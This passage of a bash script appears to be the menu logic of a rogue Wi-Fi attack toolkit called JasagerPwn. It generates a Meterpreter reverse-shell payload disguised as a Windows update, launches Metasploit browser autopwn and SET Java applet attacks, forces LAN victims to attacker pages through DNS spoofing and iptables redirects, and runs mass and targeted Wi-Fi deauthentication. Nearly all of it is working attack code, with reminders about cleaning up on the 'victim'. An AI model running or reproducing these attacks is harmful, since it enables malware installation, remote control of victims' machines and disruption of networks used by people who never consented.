F|f|fakeupdate|Fakeupdate|2)
if [ $fakeupdate -eq 1 ]; then
updateLoop
elif [ $browserpwn -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Cant run with BrowserPwn. Port conflict."
elif [ $javaATK -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Cant run with Java Applet Attack. IPtables Conflict."
elif [ $fakeupdate -eq 0 ]; then
fakeupdate="1"
if [ -e "$Fwww/ms/Windows-KB183905-x86-ENU.exe" ]; then rm -f "$Fwww/ms/Windows-KB183905-x86-ENU.exe"; fi
xterm -geometry 75x15+10+0 -bg black -fg green -T "[Metasploit Payload] v$version - Metasploit (Windows)" -e "msfpayload windows/meterpreter/reverse_tcp LHOST=$fonIP LPORT=$winPORT R | msfencode -x $SPWD/src/resources/NOTEPAD.EXE -t exe -e x86/shikata_ga_nai -c 10 -o $Fwww/ms/Windows-KB183905-x86-ENU.exe"
fakeupdate && updateLoop
fi
;;
B|b|browserpwn|browserPwn|3)
if [ $fakeupdate -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Cant run with FakeUpdate. Port conflict."
elif [ $javaATK -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Cant run with Java Applet Attack. IPtables Conflict."
elif [ $browserpwn -eq 0 ]; then
if [ $autoMetScript -eq 1 ]; then metScript; fi
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version - Killing DNSSpoof" -e "killall -9 dnsspoof" &
xterm -geometry 75x5+0+94 -bg black -fg green -T "[JasagerPwn-Apache Kill] v$version - Stopping Apache2" -e "/etc/init.d/apache2 stop" &
xterm -geometry 110x42+464-38 -bg black -fg green -T "[Metasploit Handler] v$version" -e "msfconsole -r /tmp/msfrcBP" &
sleep 30 #Wait for browserAutopwn to start up modules and web server
echo -e "\e[01;33m[!]\e[00m Forcing LAN to visit our site..."
ipTableRedirect
xterm -geometry 75x7+0-36 -bg black -fg green -T "[JasagerPwn-DNS Spoof] v$version" -e "dnsspoof -i $FONIFACE -f /tmp/jasagerpwn.dns" &
echo -e "\e[01;33m[!]\e[00m Starting Web Server browserPwn attack @ $fonIP:80..."
browserpwn="1"
fi
while true
do
if [ $fakeupdate -eq 1 ]; then break; fi
if [ $javaATK -eq 1 ]; then break; fi
echo
echo -e "\e[01;33m[MODE][============-BrowserPwn Metasploit-==========][!]\e[00m"
echo -e -n "\e[01;33m[!]\e[00m [S][1] to Stop Attack or [M][2] for Main Menu: "
read -e USR_CHOICE2
#read -r -p "[?] Enter [I] to give Internet back or [M] for Main Menu: " USR_CHOICE2
case $USR_CHOICE2 in
S|s|Stop|stop|1)
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-IPTABLES] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $FONIFACE"
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-IPTABLES] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $FONIFACE --jump REDIRECT"
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-IPTABLES] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $FONIFACE --proto tcp --jump DNAT --to $fonIP"
IPTABLES
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version - Killing DNSSpoof" -e "killall -9 dnsspoof" &
xterm -geometry 75x5+0+94 -bg black -fg green -T "[JasagerPwn-Apache Kill] v$version - Stopping Apache2" -e "/etc/init.d/apache2 stop" &
browserpwn="0"
sleep 2
if [ $wasSniffing != "0" ]; then sslstrip ; fi
echo -e "\e[01;33m[!]\e[00m Kill Metasploit Server Jobs if you use FakeUpdate!!"
echo -e "\e[01;33m[!]\e[00m Dont Forget To Run 'ipconfig /flushdns' On Victim!!"
break
;;
M|m|Menu|menu|2)
break
;;
*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
esac
done
;;
J|j|java|Java|4)
SETcheck=`ps aux | grep "python ./set-automate" | grep -v grep | awk '{ print $2 }'`
if [ $browserpwn -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Cant run with browserPwn. Port Conflict."
elif [ $fakeupdate -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Cant run with FakeUpdate. Port Conflict."
elif [ $SETcheck ] && [ $javaATK -eq 0 ]; then
echo -e "\e[01;31m[!]\e[00m Error: You still have a SET window open.. Close it first or this will cause problems.."
elif [ $javaATK -eq 0 ] && [ ! $SETcheck ]; then
echo -n -e "\e[01;33m[!]\e[00m [1][G]oogle or [2][J]ava Required: "
read -e JavaSite
case $JavaSite in
G|g|Google|google|1)
if [ $autoMetScript -eq 1 ]; then metScript; fi
javasite="1"
JavaSite
xterm -geometry 75x8+100+0 -fg green -bg black -T "v$version - Starting Apache2" -e "/etc/init.d/apache2 restart"
service apache2 restart > /dev/null
sleep .5
xterm -geometry 75x8+100+0 -fg green -bg black -T "v$version - Starting Apache2" -e "ls /etc/apache2/sites-available/ | xargs a2dissite && a2ensite google && /etc/init.d/apache2 reload"
sleep .5
xterm -fg green -bg black -geometry 110x42+464-38 -T "[SET-JavaApplet] v$version - WebServer" -e "cd $SETpath && ./set-automate /tmp/auto-google2" &
;;
J|j|Java|java|2)
if [ $autoMetScript -eq 1 ]; then metScript; fi
javasite="2" && sleep 1
JavaSite
xterm -geometry 75x8+100+0 -bg black -fg green -T "v$version - Starting Apache2" -e "/etc/init.d/apache2 restart"
service apache2 restart > /dev/null
sleep .5
xterm -geometry 75x8+100+0 -bg black -fg green -T "v$version - Starting Apache2" -e "ls /etc/apache2/sites-available/ | xargs a2dissite && a2ensite javapwn && /etc/init.d/apache2 reload"
sleep .5
xterm -fg green -bg black -geometry 110x42+464-38 -T "[SET-JavaApplet] v$version - WebServer" -e "cd $SETpath && ./set-automate /tmp/auto-java2" &
;;
*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
esac
sleep 4
echo -n -e "\e[01;34m[*]\e[00m Press [ENTER] when SET is ready.."
read -e $blahblahblahnotused
echo -e "\e[01;33m[!]\e[00m Forcing LAN to visit our site..."
ipTableRedirect
if [ $autoMetScript -eq 1 ]; then metScript; fi
if [ -e "$SETpath/src/web_clone/site/template/index2.html" ] && [ ! -e "$SETpath/src/web_clone/site/template/index.html" ]; then
mv "$SETpath/src/web_clone/site/template/index2.html" "$SETpath/src/web_clone/site/template/index.html"
fi
if [ -e "/var/www/javapwn/index2.html" ] && [ ! -e "/var/www/javapwn/index.html" ]; then
mv "/var/www/javapwn/index2.html" "/var/www/javapwn/index.html"
fi
if [ -e "/var/www/javapwn/index1.html" ] && [ ! -e "/var/www/javapwn/index.html" ]; then
mv "/var/www/javapwn/index1.html" "/var/www/javapwn/index.html"
fi
xterm -geometry 75x7+0-36 -bg black -fg green -T "[JasagerPwn-Kill DNS] v$version - Killing DNSSpoof" -e "killall -9 dnsspoof"
xterm -geometry 75x7+0-36 -bg black -fg green -T "[JasagerPwn-DNS Spoof] v$version - DNSSpoof" -e "dnsspoof -i $FONIFACE -f /tmp/jasagerpwn.dns" &
javaATK="1"
fi
while true
do
if [ $SETcheck ] && [ $javaATK -eq 0 ]; then break; fi
if [ $browserpwn -eq 1 ]; then break; fi
if [ $fakeupdate -eq 1 ]; then break; fi
echo
echo -e "\e[01;33m[MODE][==========-Java Applet Attack SET-==========][!]\e[00m"
echo -e -n "\e[01;33m[!]\e[00m [S][1] to Stop Attack or [M][2] for Main Menu: "
read -e USR_CHOICE9
#read -r -p "[?] Enter [I] to give Internet back or [M] for Main Menu: " USR_CHOICE9
case $USR_CHOICE9 in
S|s|Stop|stop|1)
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-IPTABLES] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $FONIFACE"
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-IPTABLES] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $FONIFACE --jump REDIRECT"
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-IPTABLES] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $FONIFACE --proto tcp --jump DNAT --to $fonIP"
IPTABLES
xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version - Killing DNSSpoof" -e "killall -9 dnsspoof" &
xterm -geometry 75x5+0+94 -bg black -fg green -T "[JasagerPwn-Apache Kill] v$version - Stopping Apache2" -e "/etc/init.d/apache2 stop" &
javaATK="0"
sleep 3
if [ $wasSniffing != "0" ]; then sslstrip ; fi
echo -e "\e[01;33m[!]\e[00m DONT FORGET TO RUN 'ipconfig /flushdns' ON VICTIM!!"
break
;;
M|m|Menu|menu|2)
break
;;
*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
esac
done
;;
D|d|deauth|Deauth|DeAuth|5)
attackCheck=`ifconfig | grep $MIFACE | awk '{print $1}' | cut -b 4`
while true
do
echo
echo -e "\e[01;33m[MODE][======================-DeAuth Attacks-=========================][!]\e[00m"
echo -e "\e[01;33m[!]\e[00m [1][A]irodrop-ng [2][D]eAuth Mass [3][S]ingle DeAuth"
echo -e "\e[01;33m[!]\e[00m [4][K]ill DeAuth [5][M]ain menu"
#read -r -p "[?] Please enter [ A | D | S | K | M ]: " USR_CHOICE3
echo -e -n "\e[01;33m[!]\e[00m Choose From Above: "
read -e USR_CHOICE3
case $USR_CHOICE3 in
A|a|airodrop|Airodrop|1)
if [ -e "/usr/bin/airdrop-ng" ]; then
if [ -e "/tmp/cap-01.csv" ]; then rm /tmp/cap-* ; fi
sleep 2
xterm -geometry 90x30+464+0 -bg black -fg green -T "[JasagerPwn-Airodump] Capturing APs" -e "airodump-ng -w /tmp/cap -o csv $MIFACE" &
AIRDUMPID=`echo $!`
sleep 10
xterm -geometry 75x12+464+418 -bg black -fg green -hold -T "[JasagerPwn-Airdrop Attack] v$version" -e "airdrop-ng -b -i $MIFACE -r /tmp/deauth.conf -t /tmp/cap-01.csv" &
AIRDROPID=`echo $!`
else
echo
echo -e "\e[01;31m[!]\e[00m Error: You need to fully install airdrop-ng for this."
echo -e "\e[01;31m[!]\e[00m Please go to /pentest/wireless/aircrack-ng/scripts/airdrop-ng and run install.py."
fi
;;
D|d|deauth|DeAuth|2)
xterm -geometry 75x12+464+265 -bg black -fg green -T "[JasagerPwn-MassDeauth.sh] v$version" -e "chmod +x src/deauth.sh && bash src/deauth.sh" &
DEAUTHPID=`echo $!`
;;
S|s|single|Single|3)
xterm -geometry 75x12+464+288 -bg black -fg green -T "[JasagerPwn-DeAuth Kill] v$version" -e "killall -9 aireplay" &
xterm -geometry 95x47+577+0 -hold -bg black -fg green -T "[CLOSE MANUALLY] - Airodump Capture" -e "airodump-ng $MIFACE" &
airID=`echo $!`
echo
read -r -p "[?] Enter the target APs BSSID: " TBSSID
kill $airID
read -r -p "[?] Do You want a specific client? [ Y | N ]: " DMODE
case $DMODE in
y|Y|Yes|yes|1)
xterm -geometry 95x47+577+0 -hold -bg black -fg green -T "[CLOSE MANUALLY] - Airodump Capture" -e "airodump-ng --bssid $TBSSID $MIFACE" &
echo
read -r -p "[?] Enter the target Client MAC: " CMAC
xterm -geometry 75x12+464+265 -bg black -fg green -T "[JasagerPwn-Manual DeAuth] v$version" -e "aireplay-ng -D -0 20 -a $TBSSID -c $CMAC $MIFACE" &
;;
n|N|No|no|2)
xterm -geometry 75x12+464+265 -bg black -fg green -T "[JasagerPwn-Manual DeAuth] v$version" -e "aireplay-ng -0 20 -D -a $TBSSID $MIFACE" &
;;
*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
esac
;;
K|k|kill|Kill|4)
xterm -geometry 75x12+464+288 -bg black -fg green -T "[JasagerPwn-DeAuth Kill] v$version" -e "kill $DEAUTHPID && killall -9 aireplay-ng && killall airodump-ng && kill $AIRDROPID && kill $AIRDUMPID" &
xterm -geometry 75x12+464+288 -bg black -fg green -T "[JasagerPwn-DeAuth Kill] v$version" -e "kill $AIRDROPID && kill $AIRDUMPID && kill $airID" &
;;
M|m|menu|Menu|5)
break
;;
*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
esac
done
;;
N|n|Network|network|net|6)
while true
do
echo
echo -e "\e[01;33m[MODE][=======================-Script Settings-=======================][!]\e[00m"
echo -e "\e[01;33m[!]\e[00m [1][I]nterface [2]DeAuth [C]onfig "
echo -e "\e[01;33m[!]\e[00m [3][R]efresh I-net [4][M]ain Menu"
echo -e -n "\e[01;33m[!]\e[00m Choose From Above: "
read -e USR_CHOICE99
case $USR_CHOICE99 in
I|i|interface|Interface|1)
read -r -p "[?] Using a WiFi Network (Adds DeAuth Rule) [ Y | N ]: " USR_CHOICE98
case $USR_CHOICE98 in
y|Y|Yes|yes|1)
resolvIDs=`ps aux | grep "bash /tmp/resolv" | grep -v grep | awk '{ print $2 }'`
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing DriftNET" -e "kill `echo $resolvIDs | awk '{ print $1 }'` ; kill `echo $resolvIDs | awk '{ print $2 }'` ; kill `echo $resolvIDs | awk '{ print $3 }'`" &
xterm -geometry 75x12+464+288 -bg black -fg green -T "[ResolvLoop Kill] v$version" -e "killall -9 $dnsID2"
echo
read -p "[!] Connect to WiFi Network THEN Press [Enter] .."
echo
echo -e "\e[01;33m[!]\e[00m Current Gateway Interface = $IFACE"
read -r -p "[?] Please Enter the New Gateway Interface: " NEWIFACE
IFACE=`echo $NEWIFACE`
if [ $sniffing -eq 0 ] && [ $browserpwn -eq 0 ] && [ $fakeupdate -eq 0 ] && [ $javaATK -eq 0 ]; then
IPTABLES
elif [ $sniffing -eq 1 ] || [ $browserpwn -eq 1 ] || [ $fakeupdate -eq 1 ] || [ $javaATK -eq 1 ]; then
ipTableRedirect
fi
echo "while true ; do echo "nameserver 4.2.2.2" > /etc/resolv.conf && sleep 30 ; done &" > /tmp/resolv.sh
chmod +x /tmp/resolv.sh
bash /tmp/resolv.sh &
wifiMAC=`ifconfig $IFACE | grep "HWaddr" | awk '{print $5}' | tr "[a-z]" "[A-Z]"`
newIFACEmac=`iwconfig $IFACE | grep "Access Point" | awk '{print $6}'`
echo "a/$newIFACEmac|$wifiMAC" >> /tmp/deauth.conf
;;
n|N|No|no|2)
resolvIDs=`ps aux | grep "bash /tmp/resolv" | grep -v grep | awk '{ print $2 }'`
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing DriftNET" -e "kill `echo $resolvIDs | awk '{ print $1 }'` ; kill `echo $resolvIDs | awk '{ print $2 }'` ; kill `echo $resolvIDs | awk '{ print $3 }'`" &
xterm -geometry 75x12+464+288 -bg black -fg green -T "[ResolvLoop Kill] v$version" -e "killall $dnsID2"
echo
echo -e "\e[01;33m[!]\e[00m Current Gateway Interface = $IFACE"
read -r -p "[?] Please Enter the New Gateway Interface: " NEWIFACE
IFACE=`echo $NEWIFACE`
if [ $sniffing -eq 0 ] && [ $browserpwn -eq 0 ] && [ $fakeupdate -eq 0 ] && [ $javaATK -eq 0 ]; then
IPTABLES
elif [ $sniffing -eq 1 ] || [ $browserpwn -eq 1 ] || [ $fakeupdate -eq 1 ] || [ $javaATK -eq 1 ]; then
ipTableRedirect
fi
echo "while true ; do echo "nameserver 4.2.2.2" > /etc/resolv.conf && sleep 30 ; done &" > /tmp/resolv.sh
chmod +x /tmp/resolv.sh
bash /tmp/resolv.sh &
dnsID2=`echo $!`
;;
*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
esac
;;
C|c|deauth|DeAuth|config|Config|CONFIG|2)
xterm -geometry 95x47+577+0 -bg black -fg green -T "[EDITING] Airdrop DeAuth Config" -e "nano /tmp/deauth.conf"
echo
echo -e "\e[01;33m[!]\e[00m Go To DeAuth Menu, Kill it, and Restart Airdrop-ng to apply changes."
;;
R|r|refresh|Refresh|3)
xterm -geometry 75x12+464+288 -bg black -fg green -T "[JasagerPwn-DeAuth Kill] v$version" -e "ifconfig $IFACE up && dhclient $IFACE"
sleep 3
gatewayIP=`route -n | awk '/^0.0.0.0/ {getline; print $2}'`
resolvIDs=`ps aux | grep "bash /tmp/resolv" | grep -v grep | awk '{ print $2 }'`
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing DriftNET" -e "kill `echo $resolvIDs | awk '{ print $1 }'` ; kill `echo $resolvIDs | awk '{ print $2 }'` ; kill `echo $resolvIDs | awk '{ print $3 }'`" &
xterm -geometry 75x12+464+288 -bg black -fg green -T "[ResolvLoop Kill] v$version" -e "killall $dnsID2" &
#while true ; do echo "nameserver 4.2.2.2" > /etc/resolv.conf && sleep 30 ; done &> /dev/null &
echo "while true ; do echo "nameserver 4.2.2.2" > /etc/resolv.conf && sleep 30 ; done &" > /tmp/resolv.sh
chmod +x /tmp/resolv.sh
bash /tmp/resolv.sh &
dnsID2=`echo $!`
;;
M|m|menu|Menu|4)
break
;;
*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
esac
done
;;
X|x|exit|Exit|7)
cleanup
;;
*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
esac
done
cleanup
